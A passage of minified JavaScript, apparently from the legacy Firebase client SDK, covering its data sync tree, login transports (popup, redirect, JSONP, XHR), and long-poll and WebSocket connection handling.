Me(null);Me.prototype.toString=function(){var e={};return Md(this,function(t,n){e[t.toString()]=n.toString()}),B(e)},Ze.prototype.Xc=function(e){return this.path.e()?null!=this.Qb.value?(K(this.Qb.children.e(),"affectedTree should not have overlapping affected paths."),this):(e=this.Qb.subtree(new L(e)),new Ze(G,e,this.Vd)):(K(E(this.path)===e,"operationForChild called for unrelated child."),new Ze(H(this.path),this.Qb,this.Vd))},Ze.prototype.toString=function(){return"Operation("+this.path+": "+this.source.toString()+" ack write revert="+this.Vd+" affectedTree="+this.Qb+")"};var Yb=0,Bd=1,Ed=2,$b=3,$e=new af(!0,!1,null,!1),bf=new af(!1,!0,null,!1);af.prototype.toString=function(){return this.we?"user":this.af?"server(queryID="+this.Hb+")":"server"};var df=new cf(new Me(null));cf.prototype.Rd=function(e){return e.e()?df:new cf(e=Od(this.X,e,Pd))},cf.prototype.e=function(){return this.X.e()},cf.prototype.apply=function(e){return kf(G,this.X,e)},g=lf.prototype,g.Rd=function(e){var t=Ua(this.na,function(t){return t.kd===e});K(0<=t,"removeWrite called with nonexistent writeId.");var n=this.na[t];this.na.splice(t,1);for(var i=n.visible,o=!1,a=this.na.length-1;i&&0<=a;){var s=this.na[a];s.visible&&(a>=t&&nf(s,n.path)?i=!1:n.path.contains(s.path)&&(o=!0)),a--}if(i){if(o)this.T=of(this.na,pf,G),this.Mc=0<this.na.length?this.na[this.na.length-1].kd:-1;else if(n.Ga)this.T=this.T.Rd(n.path);else{var l=this;r(n.children,function(e,t){l.T=l.T.Rd(n.path.u(t))})}return!0}return!1},g.za=function(e,t,n,i){if(n||i){var r=jf(this.T,e);return!i&&r.e()?t:i||null!=t||null!=gf(r,G)?(r=of(this.na,function(t){return(t.visible||i)&&(!n||!(0<=Na(n,t.kd)))&&(t.path.contains(e)||e.contains(t.path))},e),t=t||C,r.apply(t)):null}return null!=(r=gf(this.T,e))?r:(r=jf(this.T,e)).e()?t:null!=t||null!=gf(r,G)?(t=t||C,r.apply(t)):null},g.yc=function(e,t){var n=C,i=gf(this.T,e);if(i)i.K()||i.P(N,function(e,t){n=n.U(e,t)});else if(t){var r=jf(this.T,e);t.P(N,function(e,t){var i=jf(r,new L(e)).apply(t);n=n.U(e,i)}),Oa(hf(r),function(e){n=n.U(e.name,e.S)})}else r=jf(this.T,e),Oa(hf(r),function(e){n=n.U(e.name,e.S)});return n},g.ld=function(e,t,n,i){return K(n||i,"Either existingEventSnap or existingServerSnap must exist"),e=e.u(t),null!=gf(this.T,e)?null:(e=jf(this.T,e)).e()?i.Q(t):e.apply(i.Q(t))},g.xc=function(e,t,n){e=e.u(t);var i=gf(this.T,e);return null!=i?i:sb(n,t)?jf(this.T,e).apply(n.j().R(t)):null},g.tc=function(e){return gf(this.T,e)},g.ne=function(e,t,n,i,r,o){var a;if(null==(a=gf(e=jf(this.T,e),G))){if(null==t)return[];a=e.apply(t)}if((a=a.lb(o)).e()||a.K())return[];for(t=[],e=td(o),o=J(r=r?a.$b(n,o):a.Yb(n,o));o&&t.length<i;)0!==e(o,n)&&t.push(o),o=J(r);return t},g=qf.prototype,g.za=function(e,t,n){return this.X.za(this.Mb,e,t,n)},g.yc=function(e){return this.X.yc(this.Mb,e)},g.ld=function(e,t,n){return this.X.ld(this.Mb,e,t,n)},g.tc=function(e){return this.X.tc(this.Mb.u(e))},g.ne=function(e,t,n,i,r){return this.X.ne(this.Mb,e,t,n,i,r)},g.xc=function(e,t){return this.X.xc(this.Mb,e,t)},g.u=function(e){return new qf(this.Mb.u(e),this.X)},g=rf.prototype,g.e=function(){return wa(this.ya)},g.ab=function(e,t,n){var i=e.source.Hb;if(null!==i)return K(null!=(i=w(this.ya,i)),"SyncTree gave us an op for an invalid query."),i.ab(e,t,n);var o=[];return r(this.ya,function(i){o=o.concat(i.ab(e,t,n))}),o},g.Pb=function(e,t,n,i,r){var o=e.va();if(!(a=w(this.ya,o))){var a,s=!1;(a=n.za(r?i:null))?s=!0:(a=i instanceof R?n.yc(i):C,s=!1),a=new ve(e,new Id(new tb(a,s,!1),new tb(i,r,!1))),this.ya[o]=a}return a.Pb(t),ye(a,t)},g.jb=function(e,t,n){var i=e.va(),o=[],a=[],s=null!=sf(this);if("default"===i){var l=this;r(this.ya,function(e,i){a=a.concat(e.jb(t,n)),e.e()&&(delete l.ya[i],S(e.W.n)||o.push(e.W))})}else{var c=w(this.ya,i);c&&(a=a.concat(c.jb(t,n)),c.e()&&(delete this.ya[i],S(c.W.n)||o.push(c.W)))}return s&&null==sf(this)&&o.push(new U(e.k,e.path)),{Kg:o,mg:a}},g.fb=function(e){var t=null;return r(this.ya,function(n){t=t||n.fb(e)}),t},vf.prototype.Pb=function(e,t){var n=e.path,i=null,r=!1;Ve(this.ta,n,function(e,t){var o=T(e,n);return i=t.fb(o),r=r||null!=sf(t),!i});var o,a=this.ta.get(n);a?(r=r||null!=sf(a),i=i||a.fb(G)):(a=new rf,this.ta=this.ta.set(n,a)),null!=i?o=!0:(o=!1,i=C,Ye(this.ta.subtree(n),function(e,t){var n=t.fb(G);n&&(i=i.U(e,n))}));var s=null!=uf(a,e);if(!s&&!S(e.n)){var l=Gf(e);K(!(l in this.mc),"View does not exist, but we have a tag");var c=Hf++;this.mc[l]=c,this.$e["_"+c]=l}return o=a.Pb(e,t,new qf(n,this.ib),i,o),s||r||(a=uf(a,e),o=o.concat(If(this,e,a))),o},vf.prototype.jb=function(e,t,n){var i=e.path,r=this.ta.get(i),o=[];if(r&&("default"===e.va()||null!=uf(r,e))){o=r.jb(e,t,n),r.e()&&(this.ta=this.ta.remove(i)),r=o.Kg,o=o.mg,t=-1!==Ua(r,function(e){return S(e.n)});var a=Te(this.ta,i,function(e,t){return null!=sf(t)});if(t&&!a&&!(i=this.ta.subtree(i)).e()){i=Jf(i);for(var s=0;s<i.length;++s){var l=(c=i[s]).W,c=Kf(this,c);this.Nc.Xe(Lf(l),Mf(this,l),c.xd,c.H)}}if(!a&&0<r.length&&!n)if(t)this.Nc.ae(Lf(e),null);else{var u=this;Oa(r,function(e){e.va();var t=u.mc[Gf(e)];u.Nc.ae(Lf(e),t)})}Nf(this,r)}return o},vf.prototype.za=function(e,t){var n=this.ib,i=Te(this.ta,e,function(t,n){var i=T(t,e);if(i=n.fb(i))return i});return n.za(e,i,t,!0)};var Hf=1;g=Rf.prototype,g.Ca=function(){return this.A.value},g.clear=function(){this.A.value=null,this.A.children={},this.A.nd=0,Uf(this)},g.wd=function(){return 0<this.A.nd},g.e=function(){return null===this.Ca()&&!this.wd()},g.P=function(e){var t=this;r(this.A.children,function(n,i){e(new Rf(i,t,n))})},g.path=function(){return new L(null===this.Zc?this.Gd:this.Zc.path()+"/"+this.Gd)},g.name=function(){return this.Gd},g.parent=function(){return this.Zc};var Xf=/[\[\].#$\/\u0000-\u001F\u007F]/,Yf=/[\[\].#$\u0000-\u001F\u007F]/,Zf=/^[a-zA-Z][a-zA-Z._\-+]+$/;g=pg.prototype,g.add=function(e,t){this.set[e]=null===t||t},g.contains=function(e){return v(this.set,e)},g.get=function(e){return this.contains(e)?this.set[e]:void 0},g.remove=function(e){delete this.set[e]},g.clear=function(){this.set={}},g.e=function(){return wa(this.set)},g.count=function(){return pa(this.set)},g.keys=function(){var e=[];return r(this.set,function(t,n){e.push(n)}),e},qc.prototype.find=function(e){if(null!=this.B)return this.B.Q(e);if(e.e()||null==this.m)return null;var t=E(e);return e=H(e),this.m.contains(t)?this.m.get(t).find(e):null},qc.prototype.nc=function(e,t){if(e.e())this.B=t,this.m=null;else if(null!==this.B)this.B=this.B.G(e,t);else{null==this.m&&(this.m=new pg);var n=E(e);this.m.contains(n)||this.m.add(n,new qc),n=this.m.get(n),e=H(e),n.nc(e,t)}},qc.prototype.P=function(e){null!==this.m&&qg(this.m,function(t,n){e(t,n)})};var sg="auth.firebase.com",ug=["remember","redirectTo"] ;wg.prototype.set=function(e,t){if(!t){if(!this.be.length)throw Error("fb.login.SessionManager : No storage options available!");t=this.be[0]}t.set(this.Qe,e)},wg.prototype.get=function(){var e=Qa(this.be,q(this.qg,this));return Xa(e=Pa(e,function(e){return null!==e}),function(e,t){return ad(t.token)-ad(e.token)}),0<e.length?e.shift():null},wg.prototype.qg=function(e){try{var t=e.get(this.Qe);if(t&&t.token)return t}catch(n){}return null},wg.prototype.clear=function(){var e=this;Oa(this.be,function(t){t.remove(e.Qe)})},Ig.prototype.jc=function(e){var t,n=this;try{t=nb(e.data)}catch(i){}t&&"request"===t.a&&(Dg(window,"message",this.jc),this.ce=e.origin,this.Ac&&setTimeout(function(){n.Ac(n.ce,t.d,function(e,t){n.dg=!t,n.Ac=void 0,Jg(n,{a:"response",d:e,forceKeepWindowOpen:t})})},0))},Ig.prototype.Bg=function(){try{Dg(this.zd,"message",this.Bf)}catch(a){}this.Ac&&(Jg(this,{a:"error",d:"unknown closed window"}),this.Ac=void 0);try{window.close()}catch(b){}},Ig.prototype.Bf=function(e){if(this.dg&&"die"===e.data)try{window.close()}catch(b){}},Kg.prototype.open=function(e,t){yc.set("redirect_request_id",this.pc),yc.set("redirect_request_id",this.pc),t.requestId=this.pc,t.redirectTo=t.redirectTo||window.location.href,e+=(/\?/.test(e)?"":"?")+kb(t),window.location=e},Kg.isAvailable=function(){return!zg()&&!yg()},Kg.prototype.Cc=function(){return"redirect"};var Lg={NETWORK_ERROR:"Unable to contact the Firebase server.",SERVER_ERROR:"An unknown server error occurred.",TRANSPORT_UNAVAILABLE:"There are no login transports available for the requested method.",REQUEST_INTERRUPTED:"The browser redirected the page before the login request could complete.",USER_CANCELLED:"The user cancelled authentication."};Ng.prototype.open=function(e,t,n){function i(e){if(o&&(document.body.removeChild(o),o=void 0),u&&(u=clearInterval(u)),Dg(window,"message",r),Dg(window,"unload",i),c&&!e)try{c.close()}catch(t){a.postMessage("die",l)}c=a=void 0}function r(e){if(e.origin===l)try{var t=nb(e.data);"ready"===t.a?a.postMessage(d,l):"error"===t.a?(i(!1),n&&(n(t.d),n=null)):"response"===t.a&&(i(t.forceKeepWindowOpen),n&&(n(null,t.d),n=null))}catch(r){}}var o,a,s=Ag(8);if(!this.options.relay_url)return n(Error("invalid arguments: origin of url and relay_url must match"));var l=Eg(e);if(l!==Eg(this.options.relay_url))n&&setTimeout(function(){n(Error("invalid arguments: origin of url and relay_url must match"))},0);else{s&&((o=document.createElement("iframe")).setAttribute("src",this.options.relay_url),o.style.display="none",o.setAttribute("name","__winchan_relay_frame"),document.body.appendChild(o),a=o.contentWindow),e+=(/\?/.test(e)?"":"?")+kb(t);var c=window.open(e,this.options.window_name,this.options.window_features);a||(a=c);var u=setInterval(function(){c&&c.closed&&(i(!1),n&&(n(Mg("USER_CANCELLED")),n=null))},500),d=B({a:"request",d:t});Cg(window,"unload",i),Cg(window,"message",r)}},Ng.isAvailable=function(){var e;return(e="postMessage"in window&&!zg())&&((e=yg()||"undefined"!=typeof navigator&&(!!xg().match(/Windows Phone/)||!!window.Windows&&/^ms-appx:/.test(location.href)))||(e=xg(),e="undefined"!=typeof navigator&&"undefined"!=typeof window&&!!(e.match(/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i)||e.match(/CriOS/)||e.match(/Twitter for iPhone/)||e.match(/FBAN\/FBIOS/)||window.navigator.standalone)),e=!e),e&&!xg().match(/PhantomJS/)},Ng.prototype.Cc=function(){return"popup"},Og.prototype.open=function(e,t,n){function i(){n&&(n(Mg("REQUEST_INTERRUPTED")),n=null)}var r,o=new XMLHttpRequest,a=this.options.method.toUpperCase();if(Cg(window,"beforeunload",i),o.onreadystatechange=function(){if(n&&4===o.readyState){var e;if(200<=o.status&&300>o.status){try{e=nb(o.responseText)}catch(t){}n(null,e)}else 500<=o.status&&600>o.status?n(Mg("SERVER_ERROR")):n(Mg("NETWORK_ERROR"));n=null,Dg(window,"beforeunload",i)}},"GET"===a)e+=(/\?/.test(e)?"":"?")+kb(t),r=null;else{var s=this.options.headers.content_type;"application/json"===s&&(r=B(t)),"application/x-www-form-urlencoded"===s&&(r=kb(t))}for(var l in o.open(a,e,!0),za(e={"X-Requested-With":"XMLHttpRequest",Accept:"application/json;text/plain"},this.options.headers),e)o.setRequestHeader(l,e[l]);o.send(r)},Og.isAvailable=function(){var e;return(e=!!window.XMLHttpRequest)&&(e=!((e=xg()).match(/MSIE/)||e.match(/Trident/))||Ag(10)),e},Og.prototype.Cc=function(){return"json"},Pg.prototype.open=function(e,t,n){function i(){n&&(n(Mg("USER_CANCELLED")),n=null)}var r,o=this,a=Pc(sg);t.requestId=this.pc,t.redirectTo=a.scheme+"://"+a.host+"/blank/page.html",e+=/\?/.test(e)?"":"?",e+=kb(t),(r=window.open(e,"_blank","location=no"))&&ha(r.addEventListener)?(r.addEventListener("loadstart",function(e){var t;if(t=e&&e.url)e:{try{var s=document.createElement("a");s.href=e.url,t=s.host===a.host&&"/blank/page.html"===s.pathname;break e}catch(l){}t=!1}t&&(e=Fg(e.url),r.removeEventListener("exit",i),r.close(),e=new tg(null,null,{requestId:o.pc,requestKey:e}),o.Ef.requestWithCredential("/auth/session",e,n),n=null)}),r.addEventListener("exit",i)):n(Mg("TRANSPORT_UNAVAILABLE"))},Pg.isAvailable=function(){return yg()},Pg.prototype.Cc=function(){return"redirect"},Qg.prototype.open=function(e,t,n){function i(){n&&(n(Mg("REQUEST_INTERRUPTED")),n=null)}function r(){setTimeout(function(){window.__firebase_auth_jsonp[o]=void 0,wa(window.__firebase_auth_jsonp)&&(window.__firebase_auth_jsonp=void 0);try{var e=document.getElementById(o);e&&e.parentNode.removeChild(e)}catch(t){}},1),Dg(window,"beforeunload",i)}var o="fn"+(new Date).getTime()+Math.floor(99999*Math.random());t[this.options.callback_parameter]="__firebase_auth_jsonp."+o,e+=(/\?/.test(e)?"":"?")+kb(t),Cg(window,"beforeunload",i),window.__firebase_auth_jsonp[o]=function(e){n&&(n(null,e),n=null),r()},Rg(o,e,n)},Qg.isAvailable=function(){return"undefined"!=typeof document&&null!=document.createElement},Qg.prototype.Cc=function(){return"json"},ma(Sg,De),g=Sg.prototype,g.xe=function(){return this.mb||null},g.se=function(e,t){ah(this);var n=vg(e);n.$a._method="POST",this.qc("/users",n,function(e,n){e?P(t,e):P(t,e,n)})},g.Te=function(e,t){var n=this;ah(this);var i="/users/"+encodeURIComponent(e.email),r=vg(e);r.$a._method="DELETE",this.qc(i,r,function(e,i){!e&&i&&i.uid&&n.mb&&n.mb.uid&&n.mb.uid===i.uid&&Zg(n),P(t,e)})},g.pe=function(e,t){ah(this);var n="/users/"+encodeURIComponent(e.email)+"/password",i=vg(e);i.$a._method="PUT",i.$a.password=e.newPassword,this.qc(n,i,function(e){P(t,e)})},g.oe=function(e,t){ah(this);var n="/users/"+encodeURIComponent(e.oldEmail)+"/email",i=vg(e);i.$a._method="PUT",i.$a.email=e.newEmail,i.$a.password=e.password,this.qc(n,i,function(e){P(t,e)})},g.Ve=function(e,t){ah(this);var n="/users/"+encodeURIComponent(e.email)+"/password",i=vg(e);i.$a._method="POST",this.qc(n,i,function(e){P(t,e)})},g.qc=function(e,t,n){dh(this,[Og,Qg],e,t,n)},g.Ae=function(e){return K("auth_status"===e,'initial event must be of type "auth_status"'),this.Se?null:[this.mb]};var Cc="websocket",Dc="long_polling",ih,jh;hh.prototype.open=function(e,t){this.hf=0,this.la=t,this.Af=new eh(e),this.zb=!1;var n=this;this.qb=setTimeout(function(){n.f("Timed out trying to connect."),n.gb(),n.qb=null},Math.floor(3e4)),Rc(function(){if(!n.zb){n.Sa=new kh(function(e,t,i){if(lh(n,arguments),n.Sa)if(n.qb&&(clearTimeout(n.qb),n.qb=null),n.Hc=!0,"start"==e)n.id=t,n.Gf=i;else{if("close"!==e)throw Error("Unrecognized command received: "+e);t?(n.Sa.Xd=!1,fh(n.Af,t,function(){n.gb()})):n.gb()}},function(e,t){lh(n,arguments),gh(n.Af,e,t)},function(){n.gb()},n.jd);var e={start:"t"};e.ser=Math.floor(1e8*Math.random()),n.Sa.he&&(e.cb=n.Sa.he),e.v="5",n.Qf&&(e.s=n.Qf),n.Bb&&(e.ls=n.Bb),"undefined"!=typeof location&&location.href&&-1!==location.href.indexOf("firebaseio.com")&&(e.r="f"),e=n.jd(e),n.f("Connecting via long-poll to "+e),mh(n.Sa,e,function(){})}})},hh.prototype.start=function(){var e=this.Sa,t=this.Gf;for(e.ug=this.id,e.vg=t,e.le=!0;nh(e););e=this.id,t=this.Gf,this.gc=document.createElement("iframe");var n={dframe:"t"};n.id=e,n.pw=t,this.gc.src=this.jd(n),this.gc.style.display="none",document.body.appendChild(this.gc)},hh.isAvailable=function(){return ih||!jh&&"undefined"!=typeof document&&null!=document.createElement&&!("object"==typeof window&&window.chrome&&window.chrome.extension&&!/^chrome/.test(window.location.href))&&!("object"==typeof Windows&&"object"==typeof Windows.Xg)&&!0},g=hh.prototype,g.Ed=function(){},g.dd=function(){this.zb=!0,this.Sa&&(this.Sa.close(),this.Sa=null),this.gc&&(document.body.removeChild(this.gc),this.gc=null),this.qb&&(clearTimeout(this.qb),this.qb=null)},g.gb=function(){this.zb||(this.f("Longpoll is closing itself"),this.dd(),this.la&&(this.la(this.Hc),this.la=null))},g.close=function(){this.zb||(this.f("Longpoll is being closed."),this.dd())},g.send=function(e){e=B(e),this.ob+=e.length,Ob(this.Ua,"bytes_sent",e.length),e=Vc(e=fb(e=Ic(e),!0),1840);for(var t=0;t<e.length;t++){var n=this.Sa;n.ad.push({Mg:this.hf,Ug:e.length,kf:e[t]}),n.le&&nh(n),this.hf++}},kh.prototype.close=function(){if(this.le=!1,this.Ea){this.Ea.eb.body.innerHTML="";var e=this;setTimeout(function(){null!==e.Ea&&(document.body.removeChild(e.Ea),e.Ea=null)},Math.floor(0))}var t=this.hb;t&&(this.hb=null,t())};var ph=null,rh;"undefined"!=typeof MozWebSocket?ph=MozWebSocket:"undefined"!=typeof WebSocket&&(ph=WebSocket),qh.prototype.open=function(e,t){this.hb=t,this.zg=e,this.f("Websocket connecting to "+this.ef),this.Hc=!1,xc.set("previous_websocket_failure",!0);try{this.ua=new ph(this.ef)}catch(r){this.f("Error instantiating WebSocket.");var n=r.message||r.data;return n&&this.f(n),void this.gb()}var i=this;this.ua.onopen=function(){i.f("Websocket connected."),i.Hc=!0},this.ua.onclose=function(){i.f("Websocket connection was disconnected."),i.ua=null,i.gb()},this.ua.onmessage=function(e){if(null!==i.ua)if(e=e.data,i.nb+=e.length,Ob(i.Ua,"bytes_received",e.length),sh(i),null!==i.frames)th(i,e);else{e:{if(K(null===i.frames,"We already have a frame buffer"),6>=e.length){var t=Number(e);if(!isNaN(t)){i.bf=t,i.frames=[],e=null;break e}}i.bf=1,i.frames=[]}null!==e&&th(i,e)}},this.ua.onerror=function(e){i.f("WebSocket error. Closing connection."),(e=e.message||e.data)&&i.f(e),i.gb()}},qh.prototype.start=function(){},qh.isAvailable=function(){var e=!1;if("undefined"!=typeof navigator&&navigator.userAgent){var t=navigator.userAgent.match(/Android ([0-9]{0,}\.[0-9]{0,})/);t&&1<t.length&&4.4>parseFloat(t[1])&&(e=!0)}return!e&&null!==ph&&!rh},qh.responsesRequiredToBeHealthy=2,qh.healthyTimeout=3e4,g=qh.prototype,g.Ed=function(){xc.remove("previous_websocket_failure")},g.send=function(e){sh(this),e=B(e),this.ob+=e.length,Ob(this.Ua,"bytes_sent",e.length),1<(e=Vc(e,16384)).length&&this.ua.send(String(e.length));for(var t=0;t<e.length;t++)this.ua.send(e[t])},g.dd=function(){this.zb=!0,this.Kc&&(clearInterval(this.Kc),this.Kc=null),this.ua&&(this.ua.close(),this.ua=null)},g.gb=function(){this.zb||(this.f("WebSocket is closing itself"),this.dd(),this.hb&&(this.hb(this.Hc),this.hb=null))},g.close=function(){this.zb||(this.f("WebSocket is being closed"),this.dd())};var wh=[hh,qh];yh.prototype.Fa=function(e){Jh(this,{t:"d",d:e})},yh.prototype.Id=function(e){Gh(this),this.jc(e)},yh.prototype.close=function(){2!==this.Ta&&(this.f("Closing realtime connection."),this.Ta=2,Fh(this),this.la&&(this.la(),this.la=null))};var Lh=0,Nh=0;g=Kh.prototype,g.Fa=function(e,t,n){var i=++this.Lg;e={r:i,a:e,b:t},this.f(B(e)),K(this.oa,"sendRequest call when we're not connected not allowed."),this.Ia.Fa(e),n&&(this.Td[i]=n)},g.yf=function(e,t,n,i){var r=e.va(),o=e.path.toString();this.f("Listen called for "+o+" "+r),this.$[o]=this.$[o]||{},K(fe(e.n)||!S(e.n),"listen() called for non-default but complete query"),K(!this.$[o][r],"listen() called twice for same path/queryId."),e={H:i,xd:t,Ig:e,tag:n},this.$[o][r]=e,this.oa&&Oh(this,e)},g.M=function(e,t,n){this.Aa={ig:e,of:!1,zc:t,md:n},this.f("Authenticating using credential: "+e),Qh(this),(t=40==e.length)||(t="object"==typeof(e=$c(e).Bc)&&!0===w(e,"admin")),t&&(this.f("Admin auth credential detected. Reducing max reconnect time."),this.Fd=3e4)},g.ge=function(e){delete this.Aa,this.oa&&this.Fa("unauth",{},function(t){e(t.s,t.d)})},g.Rf=function(e,t){var n=e.path.toString(),i=e.va();if(this.f("Unlisten called for "+n+" "+i),K(fe(e.n)||!S(e.n),"unlisten() called for non-default but complete query"),Ph(this,n,i)&&this.oa){var r=ee(e.n);this.f("Unlisten on "+n+" for "+i),n={p:n},t&&(n.q=r,n.t=t),this.Fa("n",n)}},g.Me=function(e,t,n){this.oa?Rh(this,"o",e,t,n):this.Vc.push({$c:e,action:"o",data:t,H:n})},g.Cf=function(e,t,n){this.oa?Rh(this,"om",e,t,n):this.Vc.push({$c:e,action:"om",data:t,H:n})},g.Jd=function(e,t){this.oa?Rh(this,"oc",e,null,t):this.Vc.push({$c:e,action:"oc",data:null,H:t})},g.put=function(e,t,n,i){Sh(this,"p",e,t,n,i)},g.zf=function(e,t,n,i){Sh(this,"m",e,t,n,i)},g.Ue=function(e){this.oa&&(e={c:e},this.f("reportStats",e),this.Fa("s",e,function(e){"ok"!==e.s&&this.f("reportStats","Error sending stats: "+e.d)}))},g.Id=function(e){if("r"in e){this.f("from server: "+B(e));var t=e.r,n=this.Td[t];n&&(delete this.Td[t],n(e.b))}else{if("error"in e)throw"A server-side error has occurred: "+e.error;"a"in e&&(t=e.a,n=e.b,this.f("handleServerMessage",t,n),"d"===t?this.Gb(n.p,n.d,!1,n.t):"m"===t?this.Gb(n.p,n.d,!0,n.t):"c"===t?Uh(this,n.p,n.q):"ac"===t?(e=n.s,t=n.d,n=this.Aa,delete this.Aa,n&&n.md&&n.md(e,t)):"sd"===t?this.We?this.We(n):"msg"in n&&"undefined"!=typeof console&&console.log("FIREBASE: "+n.msg.replace("\n","\nFIREBASE: ")):Nc("Unrecognized action received from server: "+B(t)+"\nAre you using the latest client?"))}},g.Wc=function(e,t){if(this.f("connection ready"),this.oa=!0,this.Lc=(new Date).getTime(),this.Oe({serverTimeOffset:e-(new Date).getTime()}),this.Bb=t,this.nf){var n={};n["sdk.js."+hb.replace(/\./g,"-")]=1,yg()&&(n["framework.cordova"]=1),this.Ue(n)}Vh(this),this.nf=!1,this.Uc(!0)},g.Cg=function(e){e&&!this.Ob&&this.Za===this.Fd&&(this.f("Window became visible. Reducing delay."),this.Za=1e3,this.Ia||Mh(this,0)),this.Ob=e},g.Ag=function(e){e?(this.f("Browser went online."),this.Za=1e3,this.Ia||Mh(this,0)):(this.f("Browser went offline. Killing connection."),this.Ia&&this.Ia.close())},g.Df=function(){this.f("data client disconnected"),this.oa=!1,this.Ia=null;for(var e=0;e<this.qa.length;e++){var t=this.qa[e];t&&"h"in t.Jf&&t.Jg&&(t.H&&t.H("disconnect"),delete this.qa[e],this.Yc--)}0===this.Yc&&(this.qa=[]),this.Td={},Xh(this)&&(this.Ob?this.Lc&&(3e4<(new Date).getTime()-this.Lc&&(this.Za=1e3),this.Lc=null):(this.f("Window isn't visible. Delaying reconnect."),this.Za=this.Fd,this.Ge=(new Date).getTime()),e=Math.max(0,this.Za-((new Date).getTime()-this.Ge)),e*=Math.random(),this.f("Trying to reconnect in "+e+"ms"),Mh(this,e),this.Za=Math.min(this.Fd,1.3*this.Za)),this.Uc(!1)},g.yb=function(){this.Ee=!0,this.Ia?this.Ia.close():(this.sb&&(clearTimeout(this.sb),this.sb=null),this.oa&&this.Df())},g.rc=function(){this.Ee=!1,this.Za=1e3,this.Ia||Mh(this,0)};var V={og:function(){ih=rh=!0}};V.forceLongPolling=V.og,V.pg=function(){jh=!0},V.forceWebSockets=V.pg,V.Pg=function(e,t){e.k.Ra.We=t},V.setSecurityDebugCallback=V.Pg,V.Ye=function(e,t){e.k.Ye(t)},V.stats=V.Ye,V.Ze=function(e,t){e.k.Ze(t)},V.statsIncrementCounter=V.Ze,V.sd=function(e){return e.k.sd},V.dataUpdateCount=V.sd,V.sg=function(e,t){e.k.De=t},V.interceptServerData=V.sg,V.yg=function(e){new Ig(e)},V.onPopupOpen=V.yg,V.Ng=function(e){sg=e},V.setAuthenticationServer=V.Ng,Q.prototype.I=function(){return x("Firebase.DataSnapshot.val",0,0,arguments.length),this.A.I()},Q.prototype.val=Q.prototype.I,Q.prototype.mf=function(){return x("Firebase.DataSnapshot.exportVal",0,0,arguments.length),this.A.I(!0)},Q.prototype.exportVal=Q.prototype.mf,Q.prototype.ng=function(){return x("Firebase.DataSnapshot.exists",0,0,arguments.length),!this.A.e()},Q.prototype.exists=Q.prototype.ng,Q.prototype.u=function(e){x("Firebase.DataSnapshot.child",0,1,arguments.length),ga(e)&&(e=String(e)),ig("Firebase.DataSnapshot.child",e);var t=new L(e),n=this.W.u(t);return new Q(this.A.Q(t),n,N)},Q.prototype.child=Q.prototype.u,Q.prototype.Da=function(e){x("Firebase.DataSnapshot.hasChild",1,1,arguments.length),ig("Firebase.DataSnapshot.hasChild",e);var t=new L(e);return!this.A.Q(t).e()},Q.prototype.hasChild=Q.prototype.Da,Q.prototype.C=function(){return x("Firebase.DataSnapshot.getPriority",0,0,arguments.length),this.A.C().I()},Q.prototype.getPriority=Q.prototype.C,Q.prototype.forEach=function(e){if(x("Firebase.DataSnapshot.forEach",1,1,arguments.length),A("Firebase.DataSnapshot.forEach",1,e,!1),this.A.K())return!1;var t=this;return!!this.A.P(this.g,function(n,i){return e(new Q(i,t.W.u(n),N))})},Q.prototype.forEach=Q.prototype.forEach,Q.prototype.wd=function(){return x("Firebase.DataSnapshot.hasChildren",0,0,arguments.length),!this.A.K()&&!this.A.e()},Q.prototype.hasChildren=Q.prototype.wd,Q.prototype.name=function(){return O("Firebase.DataSnapshot.name() being deprecated. Please use Firebase.DataSnapshot.key() instead."),x("Firebase.DataSnapshot.name",0,0,arguments.length),this.key()},Q.prototype.name=Q.prototype.name,Q.prototype.key=function(){return x("Firebase.DataSnapshot.key",0,0,arguments.length),this.W.key()},Q.prototype.key=Q.prototype.key,Q.prototype.Db=function(){return x("Firebase.DataSnapshot.numChildren",0,0,arguments.length),this.A.Db()},Q.prototype.numChildren=Q.prototype.Db,Q.prototype.Ib=function(){return x("Firebase.DataSnapshot.ref",0,0,arguments.length),this.W},Q.prototype.ref=Q.prototype.Ib,g=Yh.prototype,g.toString=function(){return(this.F.kb?"https://":"http://")+this.F.host},g.name=function(){return this.F.hc},g.Gb=function(e,t,n,i){this.sd++;var r=new L(e);t=this.De?this.De(e,t):t,e=[],i?n?(t=na(t,function(e){return M(e)}),e=Ff(this.L,r,t,i)):(t=M(t),e=Bf(this.L,r,t,i)):n?(i=na(t,function(e){return M(e)}),e=Af(this.L,r,i)):(i=M(t),e=xf(this.L,new Xb(bf,r,i))),i=r,0<e.length&&(i=bi(this,r)),Ab(this.da,i,e)},g.Uc=function(e){Zh(this,"connected",e),!1===e&&ci(this)},g.Oe=function(e){var t=this;Wc(e,function(e,n){Zh(t,n,e)})},g.Le=function(e){Zh(this,"authenticated",e)},g.Kb=function(e,t,n,i){this.f("set",{path:e.toString(),value:t,$g:n});var r=ai(this),o=(r=sc(t=M(t,n),r),this.Hd++);r=wf(this.L,e,r,o,!0);wb(this.da,r);var a=this;this.ba.put(e.toString(),t.I(!0),function(t,n){var r="ok"===t;r||O("set at "+e+" failed: "+t),r=zf(a.L,o,!r),Ab(a.da,e,r),di(i,t,n)}),bi(this,r=ei(this,e)),Ab(this.da,r,[])},g.update=function(e,t,n){this.f("update",{path:e.toString(),value:t});var i=!0,o=ai(this),a={};if(r(t,function(e,t){i=!1;var n=M(e);a[t]=sc(n,o)}),i)Cb("update() called with empty data. Don't do anything."),di(n,"ok");else{var s=this.Hd++,l=yf(this.L,e,a,s);wb(this.da,l);var c=this;this.ba.zf(e.toString(),t,function(t,i){(r="ok"===t)||O("update at "+e+" failed: "+t);var r=zf(c.L,s,!r),o=e;0<r.length&&(o=bi(c,e)),Ab(c.da,o,r),di(n,t,i)}),bi(this,t=ei(this,e)),Ab(this.da,e,[])}},g.Jd=function(e,t){var n=this;this.ba.Jd(e.toString(),function(i,r){"ok"===i&&rg(n.la,e),di(t,i,r)})},g.yb=function(){this.Ra&&this.Ra.yb()},g.rc=function(){this.Ra&&this.Ra.rc()},g.Ye=function(e){if("undefined"!=typeof console){e?(this.fd||(this.fd=new Lb(this.Ua)),e=this.fd.get()):e=this.Ua.get();var t,n=Ra(sa(e),function(e,t){return Math.max(t.length,e)},0);for(t in e){for(var i=e[t],r=t.length;r<n+2;r++)t+=" ";console.log(t+i)}}},g.Ze=function(e){Ob(this.Ua,e),this.Sg.Of[e]=!0},g.f=function(){var e="";this.Ra&&(e=this.Ra.id+":"),Cb(e,arguments)},W.prototype.yb=function(){for(var e in this.oc)this.oc[e].yb()},W.prototype.rc=function(){for(var e in 